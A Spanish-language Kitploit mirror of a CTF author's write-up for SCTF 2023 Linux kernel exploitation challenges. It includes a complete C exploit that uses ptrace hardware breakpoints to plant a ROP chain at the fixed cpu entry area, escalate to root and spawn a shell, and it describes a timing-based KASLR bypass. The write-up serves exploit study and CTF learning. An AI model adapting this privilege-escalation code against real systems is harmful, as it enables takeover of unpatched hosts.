Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-3640 — SCTF 2023 pwn del kernel && CVE-2023-3640 | Kitploit
Herramientas/GitHubGitHub/pray77/cve-2023-3640
Análisis de VulnerabilidadesExplotaciónCTFAprendizaje y EducaciónExplotación de Binarios
GitHubpray77/cve-2023-3640

CVE-2023-3640

SCTF 2023 pwn del kernel && CVE-2023-3640

Ver Repositorio
291hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

SCTF2023_kernelpwn

SCTF 2023 kernel pwn

Nota al margen: un pequeño anuncio. El autor es un estudiante de grado que se gradúa en 2024 y participa en el reclutamiento de otoño de este año. ¡Bienvenido a contactarme!

sycrop

Esta pregunta pretende evaluar dos puntos.

  1. En la región de mapeo de cpu entry area, el punto de inicio tiene varias direcciones con desplazamiento fijo respecto a la sección de texto del kernel. Para más detalle, consulta la siguiente imagen. Esto es solo un pequeño truco, que apareció por primera vez en el KCTF de Google, y luego ha aparecido varias veces en competiciones internacionales.

image

3Z(ZSS7$2V)YRPGD 7%KY

  1. Mediante la técnica de disparar un hardware breakpoint en modo usuario, es posible empujar el contenido de los registros a la pila DB, que tiene un desplazamiento fijo respecto a per cpu entry area. Además, antes de Linux 6.2, per cpu entry area no estaba sometido a aleatorización, por lo que la dirección era fija. Esto permite construir una cadena ROP en una dirección fija del kernel; este es el punto innovador de esta pregunta. El autor la llama provisionalmente ret2hbp, solo por comodidad para describir esta técnica de ataque. El autor no reivindica originalidad; de hecho, el propio desarrollo de la explotación del kernel ya es lo suficientemente atractivo, y encontrar una concha en la playa ya es motivo de alegría :)

Para las direcciones y desplazamientos concretos, consulta el exploit. Aun así, espero que los colegas puedan depurarlo por sí mismos.

root@kitploit:~
#define _GNU_SOURCE
#include <sched.h>
#include <sys/mman.h>
#include <pthread.h>
#include <semaphore.h>
#include <sys/ptrace.h>
#include <signal.h>
#include <sys/wait.h>
#include <stddef.h>
#include <asm/user_64.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <fcntl.h>

void* map;
#define PAGE_SIZE 0x1000
pid_t hbp_pid;
unsigned long kernel_base;
unsigned long init_cred;
unsigned long commit_cred;
unsigned long pop_rdi;
unsigned long swapgs_restore_regs_and_return_to_usermode;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void teardown()
{
    kill(hbp_pid,9);
}

void create_hbp(void* addr)
{

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg), addr) == -1) {
        printf("Could not create hbp! ptrace dr0: %m\n");
        teardown();
        exit(1);
    }

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
        printf("Could not create hbp! ptrace dr7: %m\n");
        teardown();
        exit(1);
    }
}

void hbp_raw_fire()
{
    if(ptrace(PTRACE_CONT,hbp_pid,NULL,NULL) == -1)
        {
            printf("Failed to PTRACE_CONT: %m\n");
            teardown();
            exit(1);
        }
}
void getRootShell(void)
{   
    if(getuid()) {
        printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. "
         "Execve root shell now...\033[0m");
    system("/bin/sh");
}
size_t getshelladdr = &getRootShell;
void init(unsigned cpu)
{
    cpu_set_t mask;
    map = mmap((void*) 0x0a000000,0x1000000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED,0,0);
    switch(hbp_pid = fork())
    {
        case 0: //child
            //pin cpu

            CPU_ZERO(&mask);
            CPU_SET(cpu,&mask);
            sched_setaffinity(0,sizeof(mask),&mask);
            ptrace(PTRACE_TRACEME,0,NULL,NULL);
            raise(SIGSTOP);
            __asm__(
                "mov r15,   0xbeefdead;"
                "mov r14,   pop_rdi;"
                "mov r13,   init_cred;" // start at there
                "mov r12,   commit_cred;"
                "mov rbp,   swapgs_restore_regs_and_return_to_usermode;"
                "mov rbx,   0x77777777;"
                "mov r11,   0x77777777;"
                "mov r10,   getshelladdr;"
                "mov r9,    user_cs;"
                "mov r8,    user_rflags;"
                "mov rax,   user_sp;"
                "mov rcx,   user_ss;"
                "mov rdx,   0xcccccccc;"
                "mov rsi,   0xa000000;"
                "mov rdi,   [rsi];"
            );
            exit(1);
        case -1:
            printf("fork: %m\n");
            exit(1);
        default: //parent. Just exit switch
            break;
    }
    int status;
    //Watch for stop:
    puts("Waiting for child");
    while(waitpid(hbp_pid,&status,__WALL) != hbp_pid || !WIFSTOPPED(status))
    {
        sched_yield();
    }
    puts("Setting breakpoint");
    create_hbp(map);
}

int main()
{
    saveStatus();
    int fd = open("/dev/seven", O_RDWR);
    if(fd < 0) perror("Error open");
    unsigned long addr =  ioctl(fd,0x5555,0xfffffe0000000000+4);
    printf("0x%llx\n",addr-0x1008e00);
    kernel_base = addr-0x1008e00;
    init_cred = kernel_base + 0xffffffffbd64cbf8 - 0xffffffffbbc00000;
    commit_cred = kernel_base + 0xffffffffbbcbb5b0 - 0xffffffffbbc00000;
    pop_rdi = kernel_base + 0xffffffff81002c9d - 0xffffffff81000000;
    swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xffffffff82000f01 - 0xffffffff81000000;
    init(1);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    ioctl(fd,0x6666,0xfffffe0000010f60);
}

sycrpg

De hecho, esta es solo una pregunta de explotación de un 1day. La idea básica proviene de este artículo del equipo de Project Zero de Google. El trabajo del autor solo consistió en convertirlo en una pregunta de CTF, para que todos puedan aprender este método de explotación que personalmente considero muy potente e interesante, y experimentar el encanto de poder obtener una shell root escribiendo solo un byte en una única dirección. https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html?m=1

moonpray

Esta es una pregunta que involucra una vulnerabilidad 0day de fuga de información del kernel. Sin embargo, existía una solución no intencionada (los dos equipos que la resolvieron usaron la no intencionada).

La pregunta es una versión mejorada de sycrop sin la parte de leak, porque usa la versión 6.2, donde per cpu entry area ha añadido aleatorización.

  1. Primero hay que conseguir el leak. El punto aquí involucra una vulnerabilidad de la CPU. Observa que en el script de arranque se usa -enable-kvm y -cpu host, es decir, se usa la CPU de la máquina física. De hecho, en la mayoría de los casos, las CPU Intel están afectadas por esta vulnerabilidad. Consulta el artículo sobre el 1day Entrybleed (https://www.willsroot.io/2022/12/entrybleed.html#comment-form); con el script anterior se puede obtener el KASLR.
  2. En la parte posterior del ROP, siguiendo la idea de sycrop, se debería migrar la pila a la pila DB. Pero ahora per cpu entry area tiene aleatorización, por lo que la pila DB también se aleatoriza (se encuentra en el desplazamiento per cpu entry area + 0xf000). Sin embargo, de hecho, con KPTI habilitado, no solo el punto de entrada de las llamadas al sistema se mapea en modo usuario (entry_SYSCALL_64 de EntryBleed), sino que per cpu entry area también está mapeado. Por lo tanto, es posible obtener el desplazamiento midiendo la diferencia de tiempo con instrucciones de prefetch. El script concreto tendrá que esperar a que el fabricante permita su divulgación para publicarlo (pero en realidad ya está explicado arriba; estoy seguro de que los colegas podrán deducirlo).
  3. En cuanto a la solución no intencionada, en la parte del ROP se puede usar ret2dir. Esto fue un descuido del autor. Al crear la pregunta también pensé si ret2dir podría funcionar, pero por falta de tiempo, después de completar la parte principal del reto, me olvidé de ocuparme de ello. Aun así, no está mal; al menos esta pregunta tiene solución.
Descargar herramienta